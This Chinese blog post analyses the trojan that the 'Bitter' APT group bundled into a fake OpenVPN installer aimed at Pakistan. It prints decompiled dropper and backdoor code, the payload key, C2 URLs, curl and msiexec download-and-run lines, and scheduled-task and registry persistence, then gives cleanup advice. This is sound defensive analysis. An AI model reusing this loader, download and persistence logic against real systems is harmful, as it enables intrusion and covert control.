<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    印“蔓靈花”攻擊巴基斯坦活動中使用的TelecomVPN病毒分析

    VSole2021-11-30 06:44:35

    概述

    在近期的“蔓靈花”攻擊巴基斯坦活動中,攻擊者仿冒OpenVPN安裝包,制作了一款“TelecomVPN”或“PTAOpenVPN”。

    攻擊者將惡意軟件和OpenVPN安裝包打包在一起,當用戶執行OpenVPN后會先解密shell.exe和OpenVPN,再分別執行OpenVPN安裝例程和shell.exe。

    初步分析

    int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
    {
      //。。。
      RegisterClassExW((const WNDCLASSEXW *)&v21);
      ::hInstance = hInstance;
      v4 = CreateWindowExW(0, ClassName, WindowName, 0xCF0000u, 0x80000000, 0, 0x80000000, 0, 0, 0, hInstance, 0);
      v5 = v4;
      if ( v4 )
      {
       //...
        v13 = CreateFileW(v19, 1u, 1u, 0, 3u, 0x80u, 0);
        if ( v13 != (HANDLE)-1 )
        {
          SetFilePointer(v13, 35328, 0, 0);
          v6 = LocalAlloc(0x40u, 0x3000u);
          ReadFile(v13, v6, 0x3000u, &NumberOfBytesRead, 0);
        }
        v15 = CreateFileW(L"C:\\Users\\Public\\Music\\power", 2u, 2u, 0, 2u, 0x80u, 0);
        if ( v15 != (HANDLE)-1 )
        {
          WriteFile(v15, v6, 0x3000u, &NumberOfBytesWritten, 0);
          CloseHandle(v15);
        }
        sub_4010E0("C:\\Users\\Public\\Music\\power", "C:\\Users\\Public\\Music\\Shell.exe", v14, 0);
        Sleep(0x1388u);
        sub_4010E0(Filename, "C:\\Users\\Public\\Music\\msdtm.exe", v16, 47616);
        Sleep(0x1388u);
        ShellExecuteW(0, L"RUNAS", L"C:\\Users\\Public\\Music\\msdtm.exe", 0, 0, 1);
        //...
        CreateProcessW(
          L"C:\\Users\\Public\\Music\\Shell.exe",
          //...
        );
        CloseHandle(ProcessInformation.hProcess);
        CloseHandle(ProcessInformation.hThread);
        LocalFree(v6);
      }
      return 0;
    }
    

    主函數可以看到,首先在Music文件夾下創建power文件,然后寫入數據。接著對文件本身和power調用了sub_4010e0

    向上看可以得到,power文件的內容主要來自于讀取文件本身

    文件偏移在35328處

    而OpenVPN安裝程序放在了0xba00偏移處,緊挨著shell.exe

    sub_4010e0分析

    int __usercall sub_4010E0@(char *FileName@, char *a2@, int a3, int Offset)
    {
      //...
      {
        if ( Offset )
          fseek(Stream, Offset, 0);
        if ( fopen_s(&v14, a2, "wb") )
        {
          printf("Error opening Ciphertext file!");
        }
        else
        {
          if ( !CryptAcquireContextW(&phProv, 0, L"Microsoft Enhanced Cryptographic Provider v1.0", 1u, 0) )
          {
            //...
            CryptAcquireContextW(&phProv, 0, L"Microsoft Enhanced Cryptographic Provider v1.0", 1u, 8u);
          }
          if ( CryptCreateHash(phProv, CALG_MD5, 0, 0, &phHash) )
          {
            if ( CryptHashData(phHash, "Y8*()12T", 8u, 0) )
            {
              if ( CryptDeriveKey(phProv, 0x6801u, phHash, 0x800000u, &phKey) )
              {
                CryptDestroyHash(phHash);
                phHash = 0;
                v5 = malloc(0x3E8u);
                if ( v5 )
                {
                  while ( 1 )
                  {
                    pdwDataLen = fread(v5, 1u, 0x3E8u, Stream);
                    if ( ferror(Stream) )
                      break;
                    v10 = feof(Stream);
                    if ( !CryptEncrypt(phKey, 0, v10, 0, (BYTE *)v5, &pdwDataLen, 0x3E8u) )
                    {
                      printf("bytes required:%d", pdwDataLen);
                      v12 = GetLastError();
                      printf("Error %x during CryptEncrypt!", v12);
                      goto LABEL_26;
                    }
                    fwrite(v5, 1u, pdwDataLen, v14);
                    //...
        }
      }
    //...
      return v11;
    }
    

    可以看到,該函數調用了Windows API進行解密。密鑰是Y8*()12T的MD5。

    shell.exe分析

    開頭初始化了Com庫

    int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
    {
      if ( CoInitializeEx(0, 6u) >= 0 )
      {
        sub_401000();
        CoUninitialize();
      }
      Sleep(0x2710u);
      return 0;
    }
    

    sub_401000分析

    lpString2[0] = L"pku2u.exe";
            lpString2[1] = L"drvinst.exe";
            lpString2[2] = L"ndadmin.exe";
            lpString2[3] = L"fveapi.exe";
            lpString2[4] = L"cdp.exe";
            lpString2[5] = L"mfcore.exe";
            lpString2[6] = L"rdpsign.exe";
            lpString2[7] = L"tspubwmi.exe";
            lpString2[8] = L"mfps.exe";
            lpString2[9] = L"peerdist";
            lpString2[10] = L"lsapip.exe";
            lpString2[11] = L"glu32.exe";
            lpString2[12] = L"fwbase.exe";
            lpString2[13] = L"esentprf.exe";
            lpString2[14] = L"dwrite.exe";
            lpString2[15] = L"cscmig.exe";
            lpString2[16] = L"authext.exe";
            lpString2[17] = L"browcli.exe";
            lpString2[18] = L"imagehlp.exe";
            lpString2[19] = L"mfaudiocnv.exe";
            ExpandEnvironmentStringsW(L"%computername%", Dst, 0x64u);
            if ( PathFileExistsW(L"C:\\Users\\Public\\Music\\p2p") )
            {
              for ( i = 0; i < 20; ++i )
              {
                lstrcpyW(String1, L"C:\\Users\\Public\\Music\\");
                lstrcatW(String1, lpString2[i]);
                if ( !PathFileExistsW(String1) )
                  break;
                if ( DeleteFileW(String1) )
                {
                  Sleep(0x1388u);
                  break;
                }
              }
              lstrcatW(psz, String1);
              lstrcatW(psz, L" -O https://mswsceventlog.net/ot.php/?ot=");
              lstrcatW(psz, Dst);
              v5 = SysAllocString;
              ppv = SysAllocString(L"curl");
              v6 = SysAllocString(psz);
              *((_DWORD *)ppvOut + 2) = v6;
              RemoveDirectoryW(L"C:\\Users\\Public\\Music\\p2p");
            }
            else
            {
              ppv = SysAllocString(L"msiexec");
              lstrcpyW(v28, L"/i http://mswsceventlog.net/");
              lstrcatW(v28, Dst);
              lstrcatW(v28, L".msi /q");
              v5 = SysAllocString;
              v3->lVal = (LONG)SysAllocString(v28);
              CreateDirectoryW(L"C:\\Users\\Public\\Music\\p2p", 0);
            }
    

    如果老版本木馬存在,就刪除那個文件并下載新木馬后再刪除Music下的p2p文件夾;否則下載新木馬并創建p2p文件夾,還會使用msiexec執行新木馬。值得注意的是,如果p2p目錄不存在,會根據計算機名稱下載木馬,說明這是一次指定目標的攻擊。

    v9 = v5(L"/create /sc MINUTE /mo 15 /TN Chsme /TR C:\\Users\\Public\\Music\\Shell.exe");
            *((_DWORD *)ppvOut + 2) = v9;
            ppv = v5(L"C:\\Windows\\System32\\schtasks.exe");
            if ( !PathFileExistsW(L"C:\\Windows\\SysNative\\Tasks\\Chsme") )
              v1 = ((int (__stdcall *)(IUnknown *, LPVOID, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))punk->lpVtbl[10].AddRef)(
                    //...
            Sleep(0x2BF20u);
            ppvOut = v5(String1); // start new
    

    為自己創建計劃任務,并且判斷Tasks下Chsme是否存在。如果不存在就執行一個新任務。根據上面交叉引用和for循環內容,此處String1是那些字符串中第一個不存在的文件完整路徑。

    這里可能下載諸多木馬,挑選其中一個pku2u.exe分析

    pku2u.exe分析

    主函數中大量使用了sub_4025b0

    signed int __usercall sub_4025B0@(const char *a1@, const char *a2)
    {
     //...
      v2 = strlen(a1);
      v3 = strlen(a2);
      result = 0;
      for ( i = 0; result < v2; ++i )
      {
        if ( i == v3 )
          i = 0;
        a1[result++] ^= a2[i];
      }
      return result;
    }
    

    可以發現這個函數主要用于解密字符串

    主函數中首先拼接了一系列字符串,這些字符串包括域名等信息

    sub_4025B0(pNodeName, "45"); // 解密得到 meeting.mswsceventlog.net
      GetModuleFileNameA(0, Str, 0x21Cu);
      sub_4025B0(SubStr, "34"); // update
      sub_4025B0(ValueName, "34"); // updates
      sub_4019E0();
      sub_4025B0(byte_405780, aLlll);
      *(_DWORD *)&byte_406A80[strlen(byte_406A80)] = 'goL';
      sub_4025B0(aTdAVji, "728"); // CVEWsDaxqi.php?logs=
      strcat(byte_406A80, "s/");
      *(_DWORD *)&byte_406A80[strlen(byte_406A80)] = 'pwX';
      strcat(byte_406A80, "ll");
      strcat(byte_406A80, aTdAVji);
    

    遍歷注冊表中的MsMp和avp字符串

    if ( sub_401810("MsMp") )
      {
        byte_4062EA = 1;
        byte_4062E9 = 1;
        goto LABEL_23;
      }
      *(_WORD *)&aAv[strlen("av")] = 'p';
      if ( sub_401810("av") )
      {
        byte_4062E9 = 1;
    LABEL_23:
        strcpy(pszPath, "`{sgctaqi~]VA[F\\RAoc\\]PZDGipAGAQ[GbPAG\\\\ZiaA[");
        phkResult = 0;
        memset(&pszPath[46], 0, 0xCCu);
        sub_4025B0(pszPath, "345");
        if ( RegQueryValueExA(0, ValueName, 0, 0, 0, 0)
          && !RegOpenKeyExA(HKEY_CURRENT_USER, pszPath, 0, 0xF003Fu, &phkResult)
          && byte_4062EA )
        {
          RegSetValueExA(phkResult, ValueName, 0, 1u, (const BYTE *)NewFileName, strlen(NewFileName));
          *((_BYTE *)&dword_406730 + strlen((const char *)&dword_406730)) = 82;
        }
        RegCloseKey(phkResult);
        goto LABEL_28;
      }
    

    如果有的話則會注冊開機自動啟動

    最后還調用了這個函數

    int sub_4026B0()
    {
      //...
      v6[12] = v6;
      std::string::string(v6, "KIX$3lswxizirx2tltCmhA"); // 解密得到 GET /hostevent.php?id=
      sub_402600(v7, v6[0], v6[1], v6[2], v6[3], v6[4], v6[5]);
      v12 = 0;
      std::string::operator+=(v7, Buffer);
      std::string::operator+=(v7, " HTTP/1.1\rHost:");
      std::string::operator+=(v7, pNodeName); // 解密得到 meeting.mswsceventlog.net
      std::string::operator+=(v7, "\rConnection: close\r\r");
      *(_DWORD *)&name.sa_data[2] = inet_addr(cp);
      *(_WORD *)name.sa_data = htons(0x50u);
      name.sa_family = 2;
      v0 = socket(2, 1, 6);
      if ( !connect(v0, &name, 16) )
      {
        v1 = buf[0];
        if ( buf[5] < (char *)0x10 )
          v1 = (const char *)buf;
        send(v0, v1, (int)buf[4], 0);
        v2 = 0;
        *(_WORD *)v10 = 0;
        memset(v11, 0, sizeof(v11));
        v3 = recv(v0, v10, 4096, 0);
        v4 = v3 < 0;
        if ( !v3 )
        {
    LABEL_7:
          closesocket(v0);
          v12 = -1;
          return std::string::~string(v7);
        }
        while ( !v4 )
        {
          v2 += v3;
          v3 = recv(v0, &v10[v2], 4096, 0);
          v4 = v3 < 0;
          if ( !v3 )
            goto LABEL_7;
        }
        *(_WORD *)v10 = 0;
      }
      closesocket(v0);
      v12 = -1;
      std::string::~string(v7);
      return 0;
    }
    

    即定期通信

    之后調用了這個函數

    void sub_4022E0()
    {
      char v0[8190]; // [esp+Ah] [ebp-200Ah] BYREF
      Sleep(0x3E8u);
      byte_4062EB = 0;
      memset(&byte_4090A0, 0, 0x2000u);
      if ( dword_40650C >= 5 )
      {
        sub_401E00(&dword_406730);
        sub_4023C0();
        if ( byte_4062EB )
        {
          memset(v0, 0, sizeof(v0));
          sub_401E00(&byte_406CA0);
        }
      }
      else
      {
        sub_401E00(&dword_406510);
        ++dword_40650C;
      }
      Sleep(0x3A98u);
    }
    

    即通信次數大于5才會執行指定動作

    char sub_4023C0()
    {
    //...
      v0 = strstr(&byte_4090A0, &byte_406CA0);
      if ( v0 )
      {
        v1 = byte_4090A0;
        for ( i = 0; v1; v1 = byte_4090A1[i++] )
        {
          if ( v1 == 34 )
            break;
        }
        v3 = byte_4090A1[i];
        v4 = 0;
        if ( v3 )
        {
          v5 = &byte_4090A1[i];
          do
          {
            if ( v3 == 34 )
              break;
            ++v5;
            byte_406DA0[v4] = v3;
            v3 = *v5;
            ++v4;
          }
          while ( *v5 );
        }
        byte_406DA0[v4] = 0;
        LOBYTE(v0) = sub_401810(byte_406DA0);
        if ( (_BYTE)v0 )
        {
          memset(Destination, 0, strlen(Destination));
          *(_DWORD *)Destination = &unk_474E52;
          strcat_s(Destination, 0xFAu, aLlll);
          strcat_s(Destination, 0xFAu, byte_406DA0);
          LOBYTE(v0) = strcat_s(Destination, 0xFAu, aLlll);
          byte_4062EB = 1;
        }
        else if ( v4 )
        {
          v8[0] = 'icww';
          v8[1] = 'eGGJ';
          v8[2] = 1917009;
          memset(&v8[3], 0, 0xEEu);
          sub_4025B0((const char *)v8, "124");
          sub_401E00((int)byte_406DA0, (int)v8, (char *)&dword_40B0A0, (int)&unk_40420F);
          memset(v8, 0, 0xFAu);
          v6 = 0;
          while ( *(int *)((char *)&dword_40B0A0 + v6) != *(_DWORD *)aLlll )
          {
            if ( *(int *)((char *)&dword_40B0A0 + v6 + 1) == *(_DWORD *)aLlll )
            {
              ++v6;
              break;
            }
            if ( *(int *)((char *)&dword_40B0A0 + v6 + 2) == *(_DWORD *)aLlll )
            {
              v6 += 2;
              break;
            }
            if ( *(int *)((char *)&dword_40B0A0 + v6 + 3) == *(_DWORD *)aLlll )
            {
              v6 += 3;
              break;
            }
            v6 += 4;
            if ( v6 > 4095 )
              break;
          }
          LOBYTE(v0) = sub_401FB0(v6 + 4);
        }
      }
      return (char)v0;
    }
    

    通過llll判斷是否有指定載荷,如果有就創建新文件夾并執行后續病毒。

    防范建議

    • 從官方渠道下載軟件
    • 及時安裝、更新殺軟

    清除建議

    • 刪除對應定時任務
    • 清理注冊表
    • 刪除對應路徑下的病毒文件
    • 重啟系統

    參考資料

    1. 相煎何急,印APT組織蔓靈花針對巴基斯坦政府機構展開定向攻擊
    2. ReadFile--microsoft docs
    3. CryptHashData--microsoft docs
    4. CoInitializeEx--microsoft docs
    charchar函數
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    無意中看到ch1ng師傅的文章覺得很有趣,不得不感嘆師傅太厲害了,但我一看那長篇的函數總覺得會有更騷的東西,所幸還真的有,借此機會就發出來一探究竟,同時也不得不感慨下RFC文檔的妙處,當然本文針對的技術也僅僅只是在流量層面上waf的繞過。Pre很神奇對吧,當然這不是終點,接下來我們就來一探究竟。前置這里簡單說一下師傅的思路部署與處理上傳war的servlet是?
    記一次網站滲透過程
    2022-09-13 08:37:27
    前幾天記錄某一次無意點開的一個小網站的滲透過程,幸運的是搭建平臺是phpstudy,cms是beecms,beecms有通用漏洞,然后去網上找了資料,成功getshell并獲取服務器權限。
    一、序言 記錄某一次無意點開的一個小網站的滲透過程,幸運的是搭建平臺是phpstudy,cms是beecms,beecms有通用漏洞,然后去網上找了資料,成功getshell并獲取服務器權限。 二、滲透過程 1. 無意點開一個網站,發現網站比較小,且看起來比較老,然后發現logo沒有改,于是乎去百度搜索這個cms,發現有通用漏洞,這里貼一個鏈接:Beecms 通用漏洞(https://lin
    釣魚小技巧-XLM
    2022-01-21 21:30:11
    隨后保存為啟用宏的文檔。而在實戰環境中,我們更關注的是能否執行我們的shellcode。
    前言最近一段時間在研究Android加殼和脫殼技術,其中涉及到了一些hook技術,于是將自己學習的一些hook技術進行了一下梳理,以便后面回顧和大家學習。主要是進行文本替換、宏展開、刪除注釋這類簡單工作。所以動態鏈接是將鏈接過程推遲到了運行時才進行。
    最近在分析JDK7u21的Gadgets,有兩個不解之處,閱讀前輩們的文章發現并未提起。1.為什么有的POC入口是LinkedHashSet,有的是HashSet,兩個都可以觸發嗎?
    依賴于特定硬件環境的固件無法完整模擬,需要hook掉其中依賴于硬件的函數。LD_PRELOAD的劫持對于特定函數的劫持技術分為動態注入劫持和靜態注入劫持兩種。網上針對LD_PRELOAD的劫持也有大量的描述
    這里根據紅日安全PHP-Audit-Labs對一些函數缺陷的分析,從PHP內核層面來分析一些函數的可利用的地方,標題所說的函數缺陷并不一定是函數本身的缺陷,也可能是函數在使用過程中存在某些問題,造成了漏洞,以下是對部分函數的分析
    關于堆棧ShellCode操作:基礎理論002-利用fs寄存器尋找當前程序dll的入口:從動態運行的程序中定位所需dll003-尋找大兵LoadLibraryA:從定位到的dll中尋找所需函數地址004-被截斷的shellCode:加解密,解決shellCode的零字截斷問題
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类